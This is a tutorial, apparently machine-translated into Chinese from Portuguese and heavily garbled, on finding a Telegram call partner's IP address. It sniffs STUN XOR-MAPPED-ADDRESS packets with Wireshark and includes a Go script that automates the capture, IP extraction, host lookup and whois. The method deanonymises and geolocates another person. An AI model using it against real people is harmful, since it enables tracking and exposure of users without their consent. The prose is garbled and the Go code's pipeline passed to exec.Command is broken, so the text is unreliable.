如何使用电报发现用户的IP地址。
#教程 #安全 #go #hacking

Ip find telegram

如果您想知道消息传递应用程序如何工作,例如电报和WhatsApp进行对话,那么本文适合您。让我们探索一种发现我们在电报上与之互动的享受的IP地址,使用强大的Wireshark,一个网络网络,

步骤1:下载Wireshark

启动之前,您需要在计算机上下载并安装Wireshark。您可以从site oficial do Wireshark找到下载。

确保选择与操作系统的兼容版本。

passo 2: filtrando或trâfafegostu

打开Wireshark后,您将看到一个接口,可以捕获真实的时间网络颤抖。让我们过滤tremgo Stun,这是电报用于通信的协议。
在过滤器栏中,单击搜索搜索选项的搜索。然后在搜索行中选择“字符串”选项,然后在搜索行上键入“ xor-mapped-address”。

步骤3:启动数据捕获

现在,我们准备开始捕获数据。确保Wireshark处于执行状态,并通过电报向用户打电话,谁想发现IP地址。
用户接听电话后,Wireshark将开始显示捕获的数据。在列表上搜索与Stun协议有关的信息,您将找到接收到呼叫的用户的IP地址。

步骤4:识别IP地址
为了促进所需IP地址的识别,请使用Wireshark搜索功能。单击搜索行上的“查找”选项,然后在搜索行上键入“ XOR-MAPPED-ADDRESS”。用户的IP地址将在此字符串之后立即出现。


与golang自动

使用Golang程序,我们可以自动化上述整个过程。接下来,我们在Golang中提出一个代码,可以有效且可信地执行此任务:

package main

import (
 "fmt"
 "log"
 "os"
 "os/exec"
 "strings"
)

func main() {
 const CAP_PATH = "/tmp/tg_cap.pcap" // Caminho temporário para o arquivo de captura pcap
 const CAP_TEXT = "/tmp/tg_text.txt" // Caminho temporário para o arquivo de texto com informações
 const CAP_DURATION = "5"            // Duração da captura em segundos

 // Obter o endereço IP externo do dispositivo
 ipCmd := exec.Command("curl", "-s", "icanhazip.com")
 ipOutput, err := ipCmd.Output()
 if err != nil {
  log.Fatal("Falha ao obter o endereço IP:", err)
 }
 MY_IP := strings.TrimSpace(string(ipOutput))

 // Verificar se o Wireshark está instalado
 _, err = exec.LookPath("tshark")
 if err != nil {
  log.Println("[-] Wireshark não foi encontrado. Tente instalar o Wireshark primeiro.")
  log.Println("[+] Debian baseado: sudo apt-get install -y tshark")
  log.Println("[+] Baseado em RedHat: sudo yum install -y tshark")
  os.Exit(1)
 }

 fmt.Println("[+] Descobrindo o Endereço IP do Usuário no Telegram usando Golang")
 fmt.Println("[+] Iniciando a captura de tráfego. Aguarde", CAP_DURATION, "segundos...")

 // Iniciar a captura de tráfego com o Wireshark
 captureCmd := exec.Command("tshark", "-w", CAP_PATH, "-a", "duration:"+CAP_DURATION)
 captureOutput, err := captureCmd.CombinedOutput()
 if err != nil {
  log.Fatal("Erro na captura de tráfego:", err)
 }

 fmt.Println("[+] Tráfego capturado.")

 // Converter o arquivo pcap para um arquivo de texto legível
 convertCmd := exec.Command("tshark", "-r", CAP_PATH)
 convertOutput, err := convertCmd.Output()
 if err != nil {
  log.Fatal("Erro ao converter o arquivo pcap para texto:", err)
 }

 err = os.WriteFile(CAP_TEXT, convertOutput, 0644)
 if err != nil {
  log.Fatal("Erro ao escrever o arquivo de texto:", err)
 }

 fmt.Println("[+] Arquivo pcap convertido com sucesso.")

 // Verificar se o tráfego do Telegram está presente no arquivo de texto
 if strings.Contains(string(convertOutput), "STUN 106") {
  fmt.Println("[+] Tráfego do Telegram foi encontrado.")

  // Extrair o endereço IP do texto
  extractCmd := exec.Command("cat", CAP_TEXT, "|", "grep", "STUN 106", "|", "sed", "'s/^.*XOR-MAPPED-ADDRESS: //'", "|", "awk", "'{match($0,/[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+/); ip = substr($0,RSTART,RLENGTH); print ip}' | awk '!seen[$0]++'")
  extractOutput, err := extractCmd.Output()
  if err != nil {
   log.Fatal("Erro ao extrair o endereço IP:", err)
  }

  TG_OUT := strings.TrimSpace(string(extractOutput))
  IP_1 := strings.Fields(TG_OUT)[0]
  IP_2 := strings.Fields(TG_OUT)[1]

  var IP string

  // Verificar se o endereço IP é o nosso ou do destinatário
  if MY_IP == IP_1 {
   IP = IP_2
  } else if MY_IP == IP_2 {
   IP = IP_1
  } else {
   IP = "[-] Desculpe. Endereço IP não encontrado."
   os.Exit(1)
  }

  // Obter informações de host para o endereço IP
  hostCmd := exec.Command("host", IP)
  hostOutput, err := hostCmd.Output()
  if err != nil {
   log.Fatal("Erro ao obter informações de host:", err)
  }

  fmt.Println("[+]")
  fmt.Println("[+] Endereço IP:", IP)
  fmt.Println("[+] Host:", strings.TrimSpace(string(hostOutput)))
  fmt.Println("[+]")

  // Limpar os arquivos temporários
  err = os.Remove(CAP_PATH)
  if err != nil {
   log.Fatal("Erro na limpeza:", err)
  }

  err = os.Remove(CAP_TEXT)
  if err != nil {
   log.Fatal("Erro na limpeza:", err)
  }

  fmt.Println("[+] Limpeza concluída.")
 } else {
  fmt.Println("[-] Tráfego do Telegram não foi encontrado.")
  fmt.Println("[!]")
  fmt.Println("[!] Execute este script somente >>>APÓS<<< a resposta.")
  fmt.Println("[!]")
  os.Exit(1)
 }

 fmt.Println("[?]")
 fmt.Print("[?] Executar whois", IP, "? (S/N): ")

 // Verificar se o usuário deseja executar o comando whois
 var answer string
 fmt.Scanln(&answer)

 if strings.ToUpper(answer) == "S" {
  whoisCmd := exec.Command("whois", IP)
  whoisOutput, err := whoisCmd.Output()
  if err != nil {
   log.Fatal("Erro ao executar o comando whois:", err)
  }

  fmt.Println(string(whoisOutput))
 } else {
  fmt.Println("[+] Tchau tchau!")
  os.Exit(0)
 }
}

结论£o

使用Wireshark和Telegram上的“电视鲸鱼”处理鲸鱼,我们可以找到与之互动的用户的IP地址。此信息可能适用于各种比例,例如验证享受的地理位置或确定可能的网络问题。

但是,重要的是要记住,通常必须遵守常规的隐私。这些技术的使用应以某种方式和法律范围内完成。

参考:

https://medium.com/@ibederov_en/find-out-the-ip-address-through-a-call-to-telegram-a899441b1bac

https://www.wireshark.org/

https://go.dev/